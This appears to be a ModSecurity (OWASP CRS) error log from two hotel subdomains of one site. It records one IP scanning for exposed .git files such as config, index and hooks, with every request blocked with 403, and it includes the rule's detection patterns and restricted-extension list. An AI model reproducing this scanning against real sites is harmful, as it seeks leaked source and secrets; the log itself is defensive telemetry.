[Mon Oct 26 08:36:23.460455 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JR5_dbg3ptBnwDgQ5HgAAAAM"]
[Mon Oct 26 08:36:23.460733 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JR5_dbg3ptBnwDgQ5HgAAAAM"]
[Mon Oct 26 08:36:23.469682 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR03DiqOFJPXX6P43pgAAABM"]
[Mon Oct 26 08:36:23.469838 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR03DiqOFJPXX6P43pgAAABM"]
[Mon Oct 26 08:36:23.470091 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR03DiqOFJPXX6P43pgAAABM"]
[Mon Oct 26 08:36:23.482714 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at9JRwsj78QLlrBrm-446QAAAAc"]
[Mon Oct 26 08:36:23.482921 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at9JRwsj78QLlrBrm-446QAAAAc"]
[Mon Oct 26 08:36:23.483138 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at9JRwsj78QLlrBrm-446QAAAAc"]
[Mon Oct 26 08:36:23.496269 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JR3hYESb98d-GXViKnQAAAAs"]
[Mon Oct 26 08:36:23.496986 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at9JRxA_yAFS6UHz-l1VRQAAAA0"]
[Mon Oct 26 08:36:23.612632 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JR3hYESb98d-GXViKnQAAAAs"]
[Mon Oct 26 08:36:23.612749 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at9JRxA_yAFS6UHz-l1VRQAAAA0"]
[Mon Oct 26 08:36:23.612842 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JR3hYESb98d-GXViKnQAAAAs"]
[Mon Oct 26 08:36:23.613090 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at9JRxA_yAFS6UHz-l1VRQAAAA0"]
[Mon Oct 26 08:36:23.613128 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JR3hYESb98d-GXViKnQAAAAs"]
[Mon Oct 26 08:36:23.505074 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JR3T09R7Np-FQ85dj2AAAAAo"]
[Mon Oct 26 08:36:23.520700 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR3tuNRyqJbUWH7Jv7wAAAAQ"]
[Mon Oct 26 08:36:23.613643 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JR3T09R7Np-FQ85dj2AAAAAo"]
[Mon Oct 26 08:36:23.613667 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR3tuNRyqJbUWH7Jv7wAAAAQ"]
[Mon Oct 26 08:36:23.613780 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JR3T09R7Np-FQ85dj2AAAAAo"]
[Mon Oct 26 08:36:23.613941 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR3tuNRyqJbUWH7Jv7wAAAAQ"]
[Mon Oct 26 08:36:23.613993 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR3tuNRyqJbUWH7Jv7wAAAAQ"]
[Mon Oct 26 08:36:23.614007 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at9JR3tuNRyqJbUWH7Jv7wAAAAQ"]
[Mon Oct 26 08:36:23.614053 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JR3T09R7Np-FQ85dj2AAAAAo"]
[Mon Oct 26 08:36:23.521481 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JRw9c_Zz9LocrxF9eqwAAAAU"]
[Mon Oct 26 08:36:23.543556 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at9JR5_dbg3ptBnwDgQ5HwAAAAM"]
[Mon Oct 26 08:36:23.552646 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at9JR03DiqOFJPXX6P43pwAAABM"]
[Mon Oct 26 08:36:23.614631 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at9JR5_dbg3ptBnwDgQ5HwAAAAM"]
[Mon Oct 26 08:36:23.614699 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at9JR03DiqOFJPXX6P43pwAAABM"]
[Mon Oct 26 08:36:23.614894 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at9JR5_dbg3ptBnwDgQ5HwAAAAM"]
[Mon Oct 26 08:36:23.615085 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at9JR03DiqOFJPXX6P43pwAAABM"]
[Mon Oct 26 08:36:23.566579 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9JRwsj78QLlrBrm-446gAAAAc"]
[Mon Oct 26 08:36:23.614414 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JRw9c_Zz9LocrxF9eqwAAAAU"]
[Mon Oct 26 08:36:23.615322 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9JRwsj78QLlrBrm-446gAAAAc"]
[Mon Oct 26 08:36:23.615584 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9JRwsj78QLlrBrm-446gAAAAc"]
[Mon Oct 26 08:36:23.615626 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JRw9c_Zz9LocrxF9eqwAAAAU"]
[Mon Oct 26 08:36:23.615664 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JRw9c_Zz9LocrxF9eqwAAAAU"]
[Mon Oct 26 08:36:23.615678 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JRw9c_Zz9LocrxF9eqwAAAAU"]
[Mon Oct 26 08:36:23.691050 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at9JRxA_yAFS6UHz-l1VRgAAAA0"]
